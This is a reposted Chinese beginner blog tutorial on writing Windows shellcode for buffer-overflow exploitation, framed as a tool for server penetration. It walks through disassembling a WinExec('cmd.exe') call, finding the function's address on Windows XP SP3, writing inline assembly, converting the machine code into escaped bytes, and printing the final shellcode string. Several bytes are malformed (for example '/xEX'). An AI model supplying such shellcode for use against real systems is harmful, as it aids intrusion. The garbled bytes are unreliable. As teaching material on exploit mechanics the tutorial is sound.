Title: Shell初级入门程序

Categories: shellcode

Description: shellcode 进行服务器的渗透

Keywords: shellcode linux

前言

很久没有写博客了,今天写写一个以前没有写过的话题,缓冲区溢出shellcode编写。

我是菜鸟,以前没有写过shellcode,最近也在忙着网络的渗透,栈溢出也是零零碎碎的看到一些知识,大牛飘过,菜鸟言论仅供娱乐。

大家同是菜鸟的人可以看看,我是站在初学者的角度写这篇文章的,所以初学者应该比较容易理解。

对于一些复杂的shellcodet我们暂且先不谈,我们先来看看自己编写一个打开cmd窗口的shellcode。其实黑客防线上有位大神执笔写了一系列exploit的编写,有兴趣的人自己去看看。

首先我们需要了解一下windows的运行机制。我们先写一个简单的开启本地cmd窗口的程序:

#include<windows.h>  
Void main()  
{  
   WinExec("cmd.exe",1);  
} 

在Visual C++上按F10进入反汇编代码:

:#include”windows.h”  
2:void main()  
3:    {  
00401010   push        ebp  
00401011   mov         ebp,esp  
00401013   sub         esp,40h  
00401016   push        ebx  
00401017   push        esi  
00401018   push        edi  
00401019   lea         edi,[ebp-40h]  
0040101C   mov         ecx,10h  
00401021   mov         eax,0CCCCCCCCh  
00401026   rep stos    dword ptr [edi]  
4:        WinExec("cmd.exe",1);  
00401028   mov         esi,esp  
0040102A   push        1  
0040102C   push        offset string "cmd.exe" (0041f01c)  
00401031   call        dword ptr [__imp__WinExec@8 (0042413c)]  
00401037   cmp         esi,esp  
00401039   call        __chkesp (00401070)  
5:    }  

通过这个程序我们可以清楚的看到计算机在调用WinExec函数的时候是先把两个参数从右至左一次压入栈,然后调用call函数转到WinExec的地址去。但是要注意的是call函数除了实现地址的跳转还有一点就是把当前的EIP压入栈。

对于shellcode是机器码,大多数人看到都会晕乎乎的,但是不用怕,我们所要做的工作不是用机器码写这一大堆东西,这些计算机已经为我们做的很好了,我们所要做的就是用汇编甚至是高级语言写下我们要实现的代码。

但目前其实目的已经很明确,我们要调用WinExec函数就要知道在不同系统中WinExec函数所在的地址,那么用什么方法知道这个函数所在的地址呢?这里我介绍一种非常简便的办法,使用vc自带的depends工具。打开Depends,随便拖一个PE文件进去如下图:

我们可以看到KERNEL.DLL的入口地址是0x7c800000而WinExec的入口地址是0x0006250D那么WinExec的地址就出来了两个相加得到0x7C86250D,这个方法是不是很简单?另外本菜鸟使用的是windows XP sp3不同的系统可能有所不同。

有了入口地址,我们可以用汇编来编写我们的shellcode,

#include<windows.h>  
void main()  
{  
    _asm  
    {  
        push ebp  
        mov ebp,esp  
        xor edi,edi  
        push edi  
        sub esp,04h  
        mov [ebp-08h],63h  
        mov [ebp-07h],6Dh  
        mov [ebp-06h],64h  
        mov [ebp-05h],2Eh  
        mov [ebp-04h],65h  
        mov [ebp-03h],78h  
        mov [ebp-02h],65h  
        push 1         //压入第一个参数  
        lea eax,[ebp-08h]           
        push eax           //压入第二个参数  
        mov edx,0x7C86250D  
        call edx            //调用WinExec  
        leave  
    };  
}  

按F10进入反汇编调试器中,在按Alt+8看到汇编代码,此时并没有机器码啊,别着急,在空白的地方右击出现的下拉菜单中选中Code Byte一项。看看出现了什么?在每一行汇编代码前出现了机器码!如下图

下面要做的工作就是把这些机器码抄下来了,这个是体力活。直接抄在一起比如:558BEC83EC……那么我们还要在每两个字母前手动添加/x么?当然不用,写一个小程序,一劳永逸:

#include "stdio.h"  
#include "stdlib.h"  
int main()  
{  
    FILE *fp1=NULL,*fp2=NULL;  
    char ch,filename[20]={0};  
    printf("请输入文件路径:(注意字符转义)/n");  
    scanf("%s",filename);  
    if((fp1=fopen(filename,"rb"))==NULL)  
    {  
        printf("不能读取文件!/n");  
        exit(0);  
    }  
    if((fp2=fopen("shellcode.txt","w+"))==NULL)  
    {  
        printf("不能写入文件!/n");  
        exit(0);  
    }  
    while (!feof(fp1))  
    {  
        ch=fgetc(fp1);  
        fputc('//',fp2);  
        fputc('x',fp2);  
        fputc(ch,fp2);  
        ch=fgetc(fp1);  
        fputc(ch,fp2);  
    }  
    printf("转换成功!");  
    fclose(fp1);  
    fclose(fp2);  
    return 0;  

}  

最终转换的shellcode就是

/x55/x8B/xEX/x83/xEC/x40/x53/x56/x57/x8D/x7D/xC0/xB9/x10/x11/x11/x11/xB8/xCC/xCC/xCC/xCC/xF3/x1B/x55/x8B/xEC/x33/xFF/x57/x83/xEC/x04/xC6/x45/xF8/x63/xC6/x45/xF9/x6D/xC6/x45/xFA/x64/xC6/x45/xFB/x2E/xC6/x45/xFC/x65/xC6/x45/xFD/x78/xC6/x45/xFE/x65/x6A/x01/x8D/x45/xF8/x50/xBA/x0D/x25/x86/x7C/xFF/xD2/xC9

到这里该讲的都讲完了,还是那一句话,菜鸟言论,大牛飘过。。。

原文:https://blog.csdn.net/yiyefangzhou24/article/details/6440239

转载请注明出处,本文采用 CC4.0 协议授权